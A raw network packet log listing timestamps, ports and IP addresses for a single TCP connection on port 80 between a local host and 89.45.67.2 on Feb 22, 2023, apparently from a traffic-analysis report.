Feb 22, 2023 09:43:57.611464977 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.611565113 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611612082 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.611655951 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611675978 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611722946 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.611736059 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611752033 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611790895 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.611802101 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.611809969 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611888885 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611905098 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611933947 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.611947060 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611947060 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.611960888 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611975908 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.611979961 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.612056017 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.612076044 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.612090111 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.612128019 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.612171888 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.612173080 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.612257957 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.651515007 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.651633978 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.652082920 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.652131081 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.653872013 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.653906107 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.653951883 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.653976917 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.654006004 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.654097080 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.654129982 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.654205084 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.654268026 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.654268980 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.654356956 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.654377937 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.654391050 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.654422998 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.654453993 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.654474020 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.654618025 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.654726982 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.654774904 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.654812098 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.654867887 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.654958010 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.655215979 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.655253887 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.655270100 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.655301094 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.655386925 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.655421972 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.655450106 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.655473948 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.655473948 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.695159912 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.695194960 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.695274115 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.695316076 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.697166920 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.697246075 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.697279930 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.697279930 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.697361946 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.697427034 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.697523117 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.697596073 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.697635889 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.697751999 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.697918892 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.697961092 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.698081970 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.698195934 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.698241949 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.698321104 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.698395967 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.698467970 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.698520899 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.698600054 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.698636055 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.698669910 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.698779106 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.698810101 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.698911905 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.698959112 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.698991060 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.699079990 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.699126959 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.699208975 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.699249029 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.699356079 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.699420929 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.699572086 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.699733973 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.699753046 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.699790955 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.699812889 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.699846983 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.699877024 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.699894905 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.699899912 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.699915886 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.699939966 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.738784075 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.738818884 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.739223003 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.740291119 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.740361929 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.740395069 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.740413904 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.740426064 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.740447044 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.740509033 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.740613937 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.740636110 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.740817070 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.740900040 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.741033077 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.741137028 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.741190910 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.741352081 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.741642952 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.741678953 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.741708040 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.741858006 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.741866112 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.741926908 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.741955042 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.741971970 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.742060900 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.742117882 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.742149115 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.742202044 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.742218018 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.742261887 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.742439032 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.742494106 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.742580891 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.742767096 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.742801905 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.742834091 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.742834091 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.742856979 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.742883921 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.742896080 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.742929935 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.742945910 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.743004084 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.743015051 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.745975971 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.782407045 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.782444000 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.782505989 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.782830000 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.783422947 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.783452034 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.783508062 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.783539057 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.783567905 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.783627033 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.783699036 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.783723116 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.783766031 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.783801079 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.783864021 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.784024954 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.784158945 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.784231901 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.784569025 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.784833908 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.784898996 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.784987926 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.785043001 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.785068989 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.785219908 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.785248041 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.785310030 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.785316944 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.785464048 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.785520077 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.785850048 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.785878897 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.785938978 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.785955906 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.786016941 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.786041975 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.786139965 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.786370993 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.786477089 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.786499977 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.786549091 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.786676884 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.786679983 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.786725998 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.786827087 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.789050102 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.789601088 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.825697899 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.825776100 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.825891972 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.826040983 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.826477051 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.826529980 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.826631069 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.826662064 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.826872110 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.826942921 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.827096939 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.827200890 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.827258110 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.827337027 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.827795029 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.827900887 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.827938080 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.827975035 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.828003883 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.828073978 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.828303099 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.828401089 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.828438997 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.828465939 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.828561068 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.828862906 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.828943014 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.828948975 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.829056978 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.829119921 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.829190969 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.829485893 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.829518080 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.829566956 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.829613924 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.829726934 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.829792976 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.829811096 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.829852104 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.829900980 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.829977989 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.832673073 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.832798958 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.869139910 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.869419098 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.869633913 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.869719982 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.869724035 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.869978905 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.870018959 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.870037079 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.870096922 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.870160103 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.870244026 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.870322943 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.870376110 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.870450974 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.870901108 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.870965004 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.871136904 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.871154070 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.871205091 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.871459007 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.871776104 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.871843100 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.871845961 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.871902943 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.871932030 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.872021914 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.872085094 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.872096062 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.872133970 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.872205973 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.872250080 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.872334003 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.872497082 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.872559071 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.872780085 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.872844934 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.872914076 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.872997046 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.873070955 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.873090982 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.875773907 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.875798941 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.875864029 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.876017094 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.912621975 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.912657022 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.912703991 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.912718058 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.912753105 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.912764072 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.912923098 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.913122892 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.913211107 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.913225889 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.913268089 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.913289070 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.913305044 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.913355112 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.913465977 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.913506985 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.913840055 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.913917065 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.913984060 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.914026976 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.914683104 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.914741039 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.914772987 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.914832115 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.914834976 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.914869070 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.914876938 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.914978027 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.915014029 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.915026903 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.915055990 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.915107965 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.915122032 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.915401936 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.915709972 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.915779114 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.915793896 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.915829897 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.915868044 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.915951014 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.916009903 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.916021109 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.916052103 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.916065931 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.918874025 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.918896914 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.919004917 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.919115067 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.955739021 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.955765009 CET	80	49719	89.45.67.2	192.168.2.3
